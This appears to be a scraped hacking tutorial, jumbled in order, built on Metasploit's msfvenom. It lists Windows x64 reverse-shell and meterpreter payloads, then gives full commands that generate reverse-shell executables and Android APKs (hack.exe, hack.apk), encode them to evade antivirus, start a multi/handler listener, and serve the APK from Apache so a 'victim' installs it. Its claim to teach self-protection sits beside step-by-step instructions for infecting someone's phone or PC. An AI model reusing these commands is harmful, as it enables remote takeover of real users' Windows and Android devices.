windows/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (staged). Tunnel comm
unication over HTTP (Windows winhttp)
windows/x64/exec Execute an arbitrary command (Windows x64)
windows/x64/loadlibrary Load an arbitrary x64 library path
windows/x64/messagebox Spawn a dialog via MessageBox using a customizable title, text
& icon
windows/x64/meterpreter/bind_ipv6_tcp Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for an IPv6 connection (Windows x64)
windows/x64/meterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for an IPv6 connection with UUID Support (Windows x64)
windows/x64/meterpreter/bind_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a pipe connection (Windows x64)
windows/x64/meterpreter/bind_tcp Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a connection (Windows x64)
windows/x64/meterpreter/bind_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker
windows/x64/meterpreter/bind_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Liste
n for a connection with UUID Support (Windows x64)
windows/x64/meterpreter/reverse_http Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTP (Windows x64 wininet)
windows/x64/meterpreter/reverse_https Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTP (Windows x64 wininet)
windows/x64/meterpreter/reverse_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker via a named pipe pivot
windows/x64/meterpreter/reverse_tcp Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker (Windows x64)
windows/x64/meterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker
windows/x64/meterpreter/reverse_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Conne
ct back to the attacker with UUID Support (Windows x64)
windows/x64/meterpreter/reverse_winhttp Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTP (Windows x64 winhttp)
windows/x64/meterpreter/reverse_winhttps Inject the meterpreter server DLL via the Reflective Dll Injec
tion payload (staged). Requires Windows XP SP2 or newer. Tunne
l communication over HTTPS (Windows x64 winhttp)
windows/x64/meterpreter_bind_named_pipe Connect to victim and spawn a Meterpreter shell. Requires Wind
ows XP SP2 or newer.
windows/x64/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell. Requires Wind
ows XP SP2 or newer.
windows/x64/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell. Requir
es Windows XP SP2 or newer.
windows/x64/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell. Requir
es Windows XP SP2 or newer.
windows/x64/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell. Requir
es Windows XP SP2 or newer.
windows/x64/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell. Requir
es Windows XP SP2 or newer.
windows/x64/peinject/bind_ipv6_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for an IPv6 connection (Windows x64)
windows/x64/peinject/bind_ipv6_tcp_uuid Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for an IPv6 connection with UUID Suppo
rt (Windows x64)
windows/x64/peinject/bind_named_pipe Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a pipe connection (Windows x64)
windows/x64/peinject/bind_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a connection (Windows x64)
windows/x64/peinject/bind_tcp_rc4 Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker
windows/x64/peinject/bind_tcp_uuid Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Listen for a connection with UUID Support (Wi
ndows x64)
windows/x64/peinject/reverse_named_pipe Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker via a named pipe
pivot
windows/x64/peinject/reverse_tcp Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker (Windows x64)
windows/x64/peinject/reverse_tcp_rc4 Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker
windows/x64/peinject/reverse_tcp_uuid Inject a custom native PE file into the exploited process usin
g a reflective PE loader. The reflective PE loader will execut
e the pre-mapped PE image starting from the address of entry a
fter performing image base relocation and API address resoluti
on. This module requires a PE file that contains relocation da
ta and a valid (uncorrupted) import table. PE files with CLR(C
#/.NET executables), bounded imports, and TLS callbacks are no
t currently supported. Also PE files which use resource loadin
g might crash. . Connect back to the attacker with UUID Suppor
t (Windows x64)
windows/x64/pingback_reverse_tcp Connect back to attacker and report UUID (Windows x64)
windows/x64/powershell_bind_tcp Listen for a connection and spawn an interactive powershell se
ssion
windows/x64/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell se
ssion
windows/x64/powershell_reverse_tcp_ssl Listen for a connection and spawn an interactive powershell se
ssion over SSL
windows/x64/shell/bind_ipv6_tcp Spawn a piped command shell (Windows x64) (staged). Listen for
an IPv6 connection (Windows x64)
windows/x64/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for
an IPv6 connection with UUID Support (Windows x64)
windows/x64/shell/bind_named_pipe Spawn a piped command shell (Windows x64) (staged). Listen for
a pipe connection (Windows x64)
windows/x64/shell/bind_tcp Spawn a piped command shell (Windows x64) (staged). Listen for
a connection (Windows x64)
windows/x64/shell/bind_tcp_rc4 Spawn a piped command shell (Windows x64) (staged). Connect ba
ck to the attacker
windows/x64/shell/bind_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for
a connection with UUID Support (Windows x64)
windows/x64/shell/reverse_tcp Spawn a piped command shell (Windows x64) (staged). Connect ba
ck to the attacker (Windows x64)
windows/x64/shell/reverse_tcp_rc4 Spawn a piped command shell (Windows x64) (staged). Connect ba
ck to the attacker
windows/x64/shell/reverse_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Connect ba
ck to the attacker with UUID Support (Windows x64)
windows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64
)
windows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x6
4)
windows/x64/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Listen for an IPv6 connection (Windows x64)
windows/x64/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Listen for an IPv6 connection with UUID Support (Windows x6
4)
windows/x64/vncinject/bind_named_pipe Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Listen for a pipe connection (Windows x64)
windows/x64/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Listen for a connection (Windows x64)
windows/x64/vncinject/bind_tcp_rc4 Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Connect back to the attacker
windows/x64/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Listen for a connection with UUID Support (Windows x64)
windows/x64/vncinject/reverse_http Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/vncinject/reverse_https Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Connect back to the attacker (Windows x64)
windows/x64/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Connect back to the attacker
windows/x64/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Connect back to the attacker with UUID Support (Windows x64
)
windows/x64/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Tunnel communication over HTTP (Windows x64 winhttp)
windows/x64/vncinject/reverse_winhttps Inject a VNC Dll via a reflective loader (Windows x64) (staged
). Tunnel communication over HTTPS (Windows x64 winhttp)
┌──(mr-dev㉿kali)-[~]
└─$
┌──(mrdev㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp --list-options
┌──(mrdev㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o hack.exe
┌──(mrdev㉿kali)-[~]
└─$ msfvenom -p android/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f apk -o hack.apk
┌──(mrdev㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o hack.exe
┌──(mrdev㉿kali)-[~]
└─$ msfvenom -l encoders
mrdev@kali:~$ msfvenom -p android/meterpreter/reverse_tcp LHOST=<Your IP> R -o hack.apk
mrdev@kali:~$ sudo msfdb init && msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
.......................................................................................................
........................................................................................................
........................................................................................................
........................................................................................................
msf5 exploit(multi/handler) > set LHOST <IP address>
msf5 exploit(multi/handler) > exploit
kali@kali:~/Desktop$ sudo mv hack.apk /var/www/html/
kali@kali:~/Desktop$ sudo service apache2 start
┌──(mrdev㉿kali)-[~/usr/lib/jvm]
└─$ sudo mv jdk-8u281-linux-x64 jdk-8
┌──(mrdev㉿kali)-[~]
└─$ sudo msfdb init && msfconsole
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/shell_reverse_tcp
msf5 exploit(multi/handler) > show options
...........................................................................
..........................................................................
..........................................................................
........................................................................................
........................................................................................................
msf5 exploit(multi/handler) > set LHOST <IP address>
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > exploit
Started with creating a Payload
MSFVenom is the combination of payload generation and encoding. It replaced MSFPayload and MSFEncode on June 8th, 2015.To start using MSFVenom, first please take a look at the options it supports:
How to generate a payload
To generate a Payload follow below format:
To check Payloads:
To check options for the used payload:
To create a malicious application:
For Windows:
For Android:
Generate Undetectable Malicious shellcode:
To List all Encoders:
Access Android with MSF Venom
The purpose of this video is to how you can secure yourself from Mobile Phone hacking.
The concept of Gaining access:
First I generate a “.apk” file using MSFVenom: the payload creator. After that, I send that file to my mobile device. When the victim clicks on that and allows the permission, we got the session. Let do it.
1. Open terminal from Desktop:
2. Now Lunch Metasploit:
3. Lunch exploit session:
4. Send "hack.apk" to an Android device using Apache2:5. Now Open any browser and Type the Following URL:http://<Your IP address>/hack.apk to download the file.When Victim Run it we got a Meterpreter session.
Hack Windows 10 pro using MSF Payload Creator
Open Terminal and lunch Metasploit:
After The console appears insert the following:
Now send the malicious application to Victim's computer.
